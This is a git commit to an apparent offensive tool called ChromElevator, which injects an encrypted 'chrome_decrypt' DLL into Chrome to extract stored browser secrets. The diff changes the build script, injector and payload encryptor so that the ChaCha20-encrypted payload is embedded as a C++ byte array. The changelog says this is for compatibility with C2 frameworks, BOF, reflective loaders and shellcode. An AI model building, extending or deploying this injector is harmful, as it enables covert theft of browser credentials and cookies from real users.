This commit is contained in:
Alex
2026-02-01 18:38:42 +01:00
parent 2706537ef1
commit b3dc8c684c
6 changed files with 90 additions and 55 deletions
+6 -1
View File
@@ -2,7 +2,12 @@
## 🆕 Changelog
### v0.18.2
### v0.19.0
* **C2 Framework Compatibility (Embedded Payload)**: Replaced Windows PE resource loading with compile-time embedded payload for enhanced compatibility with C2 frameworks and reflective loaders.
* The encrypted payload DLL is now embedded as a `constexpr` byte array in a generated C++ header (`payload_data.hpp`).
* Eliminates dependency on `FindResource`/`LoadResource` Win32 APIs, which require a Windows-registered module handle unavailable in BOF (COFF format), reflective loading, and shellcode contexts.
* Enables direct memory access to payload data without PE resource parsing.
* **Bug Fix: Profile Processing Crash**: Fixed a crash that occurred during profile enumeration on certain systems.
* Removed the non-essential folder size calculation to eliminate this crash vector entirely.
+20 -26
View File
@@ -11,6 +11,7 @@ set "LIBS_DIR=libs"
set "FINAL_EXE_NAME=chromelevator.exe"
set "PAYLOAD_DLL_NAME=chrome_decrypt.dll"
set "ENCRYPTOR_EXE_NAME=encryptor.exe"
set "PAYLOAD_HEADER=payload_data.hpp"
:: Compiler Flags
set "CFLAGS_COMMON=/nologo /W3 /WX- /O1 /Os /MT /GS- /Gy /GL /GR- /Gw /Zc:threadSafeInit-"
@@ -35,7 +36,6 @@ call :compile_sqlite
call :compile_payload
call :compile_encryptor
call :encrypt_payload
call :compile_resource
call :compile_injector
goto :done
@@ -61,12 +61,11 @@ goto :eof
call :compile_sqlite
call :compile_payload
call :encrypt_payload
call :compile_resource
call :compile_injector
echo.
echo =============================================================================
echo [] Build Complete: %FINAL_EXE_NAME%
for %%A in (".\%FINAL_EXE_NAME%") do echo [] Binary Size: %%~zA bytes
echo [+] Build Complete: %FINAL_EXE_NAME%
for %%A in (".\%FINAL_EXE_NAME%") do echo [+] Binary Size: %%~zA bytes
echo =============================================================================
goto :eof
@@ -75,13 +74,13 @@ goto :eof
:: =============================================================================
:compile_sqlite
echo [1/6] Compiling SQLite3...
echo [1/5] Compiling SQLite3...
cl %CFLAGS_SQLITE% /c "%LIBS_DIR%\sqlite\sqlite3.c" /Fo"%BUILD_DIR%\sqlite3.obj" 2>nul
lib /NOLOGO /LTCG /OUT:"%BUILD_DIR%\sqlite3.lib" "%BUILD_DIR%\sqlite3.obj" >nul
goto :eof
:compile_payload
echo [2/6] Compiling Payload...
echo [2/5] Compiling Payload...
cl %CFLAGS_COMMON% /std:c++17 /EHs-c- /c "%SRC_DIR%\sys\bootstrap.cpp" /Fo"%BUILD_DIR%\bootstrap.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%LIBS_DIR%\sqlite" /c "%SRC_DIR%\payload\payload_main.cpp" /Fo"%BUILD_DIR%\payload_main.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\com\elevator.cpp" /Fo"%BUILD_DIR%\elevator.obj"
@@ -109,52 +108,47 @@ link %LFLAGS_COMMON% %LFLAGS_MERGE% /DLL /OUT:"%BUILD_DIR%\%PAYLOAD_DLL_NAME%" ^
goto :eof
:compile_encryptor
echo [3/6] Compiling Encryptor...
echo [3/5] Compiling Encryptor...
cl %CFLAGS_COMMON% %CFLAGS_CPP% /Fe"%BUILD_DIR%\%ENCRYPTOR_EXE_NAME%" ^
"%SRC_DIR%\tools\encryptor.cpp" "%BUILD_DIR%\chacha20.obj" ^
/link %LFLAGS_COMMON% bcrypt.lib
goto :eof
:encrypt_payload
echo [4/6] Encrypting Payload...
"%BUILD_DIR%\%ENCRYPTOR_EXE_NAME%" "%BUILD_DIR%\%PAYLOAD_DLL_NAME%" "%BUILD_DIR%\chrome_decrypt.enc"
goto :eof
:compile_resource
echo [5/6] Compiling Resource...
rc.exe /nologo /i "%BUILD_DIR%" /fo "%BUILD_DIR%\resource.res" "%SRC_DIR%\resource.rc"
echo [4/5] Encrypting Payload + Generating Embedded Header...
"%BUILD_DIR%\%ENCRYPTOR_EXE_NAME%" "%BUILD_DIR%\%PAYLOAD_DLL_NAME%" "%BUILD_DIR%\chrome_decrypt.enc" "%BUILD_DIR%\%PAYLOAD_HEADER%"
goto :eof
:compile_injector
echo [6/6] Compiling Injector...
echo [5/5] Compiling Injector...
if "%VSCMD_ARG_TGT_ARCH%"=="arm64" (
armasm64.exe -nologo "%SRC_DIR%\sys\syscall_trampoline_arm64.asm" -o "%BUILD_DIR%\syscall_trampoline.obj"
) else (
ml64.exe /nologo /c /Fo"%BUILD_DIR%\syscall_trampoline.obj" "%SRC_DIR%\sys\syscall_trampoline_x64.asm"
)
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\injector_main.cpp" /Fo"%BUILD_DIR%\injector_main.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\browser_discovery.cpp" /Fo"%BUILD_DIR%\browser_discovery.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\browser_terminator.cpp" /Fo"%BUILD_DIR%\browser_terminator.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\process_manager.cpp" /Fo"%BUILD_DIR%\process_manager.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\pipe_server.cpp" /Fo"%BUILD_DIR%\pipe_server.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\injector.cpp" /Fo"%BUILD_DIR%\injector.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\sys\internal_api.cpp" /Fo"%BUILD_DIR%\internal_api.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%BUILD_DIR%" /c "%SRC_DIR%\injector\injector_main.cpp" /Fo"%BUILD_DIR%\injector_main.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%BUILD_DIR%" /c "%SRC_DIR%\injector\browser_discovery.cpp" /Fo"%BUILD_DIR%\browser_discovery.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%BUILD_DIR%" /c "%SRC_DIR%\injector\browser_terminator.cpp" /Fo"%BUILD_DIR%\browser_terminator.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%BUILD_DIR%" /c "%SRC_DIR%\injector\process_manager.cpp" /Fo"%BUILD_DIR%\process_manager.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%BUILD_DIR%" /c "%SRC_DIR%\injector\pipe_server.cpp" /Fo"%BUILD_DIR%\pipe_server.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%BUILD_DIR%" /c "%SRC_DIR%\injector\injector.cpp" /Fo"%BUILD_DIR%\injector.obj"
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%BUILD_DIR%" /c "%SRC_DIR%\sys\internal_api.cpp" /Fo"%BUILD_DIR%\internal_api.obj"
link %LFLAGS_COMMON% %LFLAGS_MERGE% /OUT:".\%FINAL_EXE_NAME%" ^
"%BUILD_DIR%\injector_main.obj" "%BUILD_DIR%\browser_discovery.obj" ^
"%BUILD_DIR%\browser_terminator.obj" "%BUILD_DIR%\process_manager.obj" ^
"%BUILD_DIR%\pipe_server.obj" "%BUILD_DIR%\injector.obj" ^
"%BUILD_DIR%\internal_api.obj" "%BUILD_DIR%\chacha20.obj" ^
"%BUILD_DIR%\syscall_trampoline.obj" "%BUILD_DIR%\resource.res" ^
"%BUILD_DIR%\syscall_trampoline.obj" ^
version.lib shell32.lib advapi32.lib user32.lib bcrypt.lib
goto :eof
:done
echo.
echo =============================================================================
echo [] Build Complete: %FINAL_EXE_NAME%
for %%A in (".\%FINAL_EXE_NAME%") do echo [] Binary Size: %%~zA bytes
echo [+] Build Complete: %FINAL_EXE_NAME%
for %%A in (".\%FINAL_EXE_NAME%") do echo [+] Binary Size: %%~zA bytes
echo =============================================================================
echo.
echo Cleaning up build artifacts...
@@ -163,8 +157,8 @@ echo Cleaning up build artifacts...
del /q "%BUILD_DIR%\*.obj" 2>nul
del /q "%BUILD_DIR%\*.lib" 2>nul
del /q "%BUILD_DIR%\*.exp" 2>nul
del /q "%BUILD_DIR%\*.res" 2>nul
del /q "%BUILD_DIR%\%ENCRYPTOR_EXE_NAME%" 2>nul
del /q "%BUILD_DIR%\%PAYLOAD_HEADER%" 2>nul
:: Clean up root directory artifacts (only in full build, not CI)
del /q "*.obj" 2>nul
+2 -2
View File
@@ -6,9 +6,9 @@
namespace Core {
// Main version string - shown in banner
constexpr const char* VERSION = "0.18.2";
constexpr const char* VERSION = "0.19.0";
// Full version for build identification (update for releases)
constexpr const char* BUILD_TAG = "v0.18.2";
constexpr const char* BUILD_TAG = "v0.19.0";
}
+6 -12
View File
@@ -4,7 +4,7 @@
#include "injector.hpp"
#include "../crypto/crypto.hpp"
#include "../sys/internal_api.hpp"
#include <iostream>
#include "../../build/payload_data.hpp"
#include <sstream>
namespace Injector {
@@ -74,19 +74,13 @@ namespace Injector {
}
void PayloadInjector::LoadAndDecryptPayload() {
HMODULE hModule = GetModuleHandle(NULL);
HRSRC hRes = FindResourceW(hModule, L"PAYLOAD_DLL", MAKEINTRESOURCEW(10));
if (!hRes) throw std::runtime_error("Payload resource not found");
static_assert(Payload::Embedded::Size > 0, "Embedded payload is empty");
HGLOBAL hData = LoadResource(hModule, hRes);
if (!hData) throw std::runtime_error("LoadResource failed");
m_payload.assign(
Payload::Embedded::Data,
Payload::Embedded::Data + Payload::Embedded::Size
);
void* pData = LockResource(hData);
DWORD size = SizeofResource(hModule, hRes);
if (!pData || size == 0) throw std::runtime_error("Invalid resource");
m_payload.assign((uint8_t*)pData, (uint8_t*)pData + size);
// Use runtime-derived keys (no static keys in binary)
if (!Crypto::DecryptPayload(m_payload)) {
throw std::runtime_error("Failed to derive decryption keys");
-4
View File
@@ -1,4 +0,0 @@
// (c) Alexander 'xaitax' Hagenah
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
PAYLOAD_DLL RCDATA "chrome_decrypt.enc"
+56 -10
View File
@@ -7,11 +7,13 @@
/**
* Payload Encryptor Tool
*
* This tool encrypts the payload DLL using runtime-derived keys.
*
* This tool encrypts the payload DLL using runtime-derived keys and generates
* an embeddable C++ header for direct inclusion in the injector.
*
* The key derivation uses the same algorithm as the decryptor,
* ensuring deterministic keys per build (based on __DATE__/__TIME__).
*
*
* IMPORTANT: The encryptor and injector MUST be built in the SAME
* compilation session (same make.bat run) for keys to match.
* This is because BUILD_SEED changes with __DATE__ and __TIME__.
@@ -19,15 +21,15 @@
void PrintKeyInfo(const Crypto::RuntimeKeyProvider::KeyMaterial& km) {
std::cout << "\n=== Runtime Key Derivation Info ===" << std::endl;
std::cout << "Build Seed: 0x" << std::hex << std::setfill('0')
std::cout << "Build Seed: 0x" << std::hex << std::setfill('0')
<< std::setw(16) << Crypto::Detail::BUILD_SEED << std::endl;
std::cout << "Derived Key: ";
for (size_t i = 0; i < km.key.size(); ++i) {
std::cout << std::hex << std::setw(2) << std::setfill('0') << (int)km.key[i];
}
std::cout << std::endl;
std::cout << "Derived Nonce: ";
for (size_t i = 0; i < km.nonce.size(); ++i) {
std::cout << std::hex << std::setw(2) << std::setfill('0') << (int)km.nonce[i];
@@ -36,15 +38,48 @@ void PrintKeyInfo(const Crypto::RuntimeKeyProvider::KeyMaterial& km) {
std::cout << "==================================\n" << std::endl;
}
bool WriteEmbeddedHeader(const std::string& path, const std::vector<uint8_t>& data) {
std::ofstream out(path);
if (!out) return false;
out << "// Auto-generated by ChromElevator encryptor - DO NOT EDIT\n";
out << "// Generated: " << __DATE__ << " " << __TIME__ << "\n";
out << "// Payload size: " << std::dec << data.size() << " bytes\n";
out << "#pragma once\n\n";
out << "#include <cstdint>\n";
out << "#include <cstddef>\n\n";
out << "namespace Payload {\n";
out << "namespace Embedded {\n\n";
out << " alignas(16) inline constexpr uint8_t Data[] = {";
for (size_t i = 0; i < data.size(); ++i) {
if (i % 16 == 0) out << "\n ";
out << "0x" << std::hex << std::setw(2) << std::setfill('0')
<< static_cast<int>(data[i]);
if (i < data.size() - 1) out << ",";
if (i % 16 != 15 && i < data.size() - 1) out << " ";
}
out << "\n };\n\n";
out << " inline constexpr size_t Size = sizeof(Data);\n\n";
out << "} // namespace Embedded\n";
out << "} // namespace Payload\n";
return out.good();
}
int main(int argc, char* argv[]) {
if (argc != 3) {
std::cerr << "ChromeElevator Payload Encryptor" << std::endl;
if (argc < 3 || argc > 4) {
std::cerr << "ChromElevator Payload Encryptor" << std::endl;
std::cerr << "================================" << std::endl;
std::cerr << "Usage: " << argv[0] << " <input.dll> <output.bin>" << std::endl;
std::cerr << "Usage: " << argv[0] << " <input.dll> <output.enc> [output.hpp]" << std::endl;
std::cerr << std::endl;
std::cerr << "This tool encrypts the payload DLL using ChaCha20 with keys" << std::endl;
std::cerr << "derived from environmental entropy + compile-time seed." << std::endl;
std::cerr << std::endl;
std::cerr << "If output.hpp is specified, generates an embeddable C++ header" << std::endl;
std::cerr << "for direct inclusion (C2/reflective loader compatible)." << std::endl;
std::cerr << std::endl;
std::cerr << "NOTE: Encryptor and injector must be built together!" << std::endl;
return 1;
}
@@ -86,7 +121,18 @@ int main(int argc, char* argv[]) {
out.close();
std::cout << "[+] Encrypted payload written to: " << argv[2] << std::endl;
std::cout << "[+] Output size: " << data.size() << " bytes" << std::endl;
std::cout << "[+] Output size: " << std::dec << data.size() << " bytes" << std::endl;
// Generate embedded header if path provided
if (argc == 4) {
if (WriteEmbeddedHeader(argv[3], data)) {
std::cout << "[+] Embedded header written to: " << argv[3] << std::endl;
} else {
std::cerr << "[-] Failed to write embedded header: " << argv[3] << std::endl;
return 1;
}
}
std::cout << std::endl;
std::cout << "[!] Remember: Injector must be compiled in same build session!" << std::endl;